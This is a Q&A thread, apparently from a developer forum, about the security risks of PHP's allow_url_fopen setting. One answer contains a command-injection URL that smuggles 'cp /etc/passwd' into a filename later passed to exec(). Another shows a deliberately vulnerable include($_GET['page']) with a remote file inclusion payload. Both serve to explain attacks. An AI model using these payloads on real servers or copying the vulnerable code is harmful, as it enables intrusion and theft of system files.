9

Recently I was reading an article about file_get_contents and HTTPS.

One part that caught my attention is:

Of course, the allow_url_fopen setting also carries a separate risk of enabling Remote File Execution, Access Control Bypass or Information Disclosure attacks. If an attacker can inject a remote URI of their choosing into a file function they could manipulate an application into executing, storing or displaying the fetched file including those from any untrusted remote source. It’s also worth bearing in mind that such file fetches would originate from localhost and thus be capable of bypassing access controls based on local server restrictions. As such, while allow_url_fopen is enabled by default, you should disable it without hesitation to maximise security.

I have 2 questions:

  1. What can an attacker do with allow_url_fopen and how he would do it?
  2. Is allow_url_fopen always a security risk or only when you accept user input in fopen wrapper?

Other interesting links

3

A sample attack scenario using allow_url_fopen that allows me to download your password file:

  1. Suppose your app allows me to provide a URL to a remote image, which you will download and use as my avatar image.
  2. I provide the following URL: "http://my.malicious.example.com/sbwoodside.jpg;cp%20/etc/passwd%20downloads/foo.jpg;"
  3. Your app uses allow_url_fopen to download the file and stores it as "sbwoodside.jpg;cp%20/etc/passwd%20downloads/passwords.txt;". I have now successfully injected a command into the filename.
  4. Your app wants to compress and resize my image, so you use ImageMagick on the command line with something like exec("magick convert -size 128x128 ".$filename." ".$filename.".128.jpg")
  5. What does exec actually execute? If you haven't sanitized the filename, then it executes the following on the shell:

magick convert -size 128x128 sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt; sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;.128.jpg

Since ; is a command delimited on the shell, that will be broken by the shell automatically into the following separate commands:

magick convert -size 128x128 sbwoodside.jpg cp /etc/passwd downloads/passwords.txt sbwoodside.jpg cp /etc/passwd downloads/passwords.txt .128.jpg

And now I just go to http://yourapp.com/downloads/passwords.txt and download your password file. Of course, I can do anything I want, since I'm executing commands as your web server on your system.

  • 4
    I don't see what allow_url_fopen has to do with this attack. The vulnerabilities here are a) saving content at a filename controlled by the user; and b) failing to escape parameters to a shell command. The code would have to know it was expecting a URL to parse out the filename, and would therefore be just as vulnerable whatever HTTP client it was using. – IMSoP Nov 21 '18 at 9:49
  • 2
    I can only assume people upvoting this don't know the context in which allow_url_fopen vulnerabilities are discussed. For instance, one of the links in the question says "consider using the cURL functions provided by PHP"; if we replace step 3 of this attack with "Your app uses the cURL functions provided by PHP...", the attack proceeds exactly the same way, and we are no safer at all. Therefore it's quite clear that this is not the kind of attack that people are talking about when they make that suggestion. – IMSoP Nov 21 '18 at 16:17
1

It depends on you! how you designed your applications and are you considered security during all software development life-cycle?

Consider insecure code below that loads web pages according to request parameter (page):

<?php
include($_GET['page']);
?>

And now consider an attacker includes malicious PHP code by using:

?page=http://example.com/badcode-php.txt

He can then bypass all security measure from your site and do anything (accessing local files, uploading another files, etec).

So its recommended that to turn of allow_urL_fopen and allow_url_include to minimize remote file execution attack.

  • 6
    This is already mitigated by allow_url_include=off and does not require allow_url_fopen to be disabled. – Jasny - Arnold Daniels Aug 24 '18 at 14:10

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.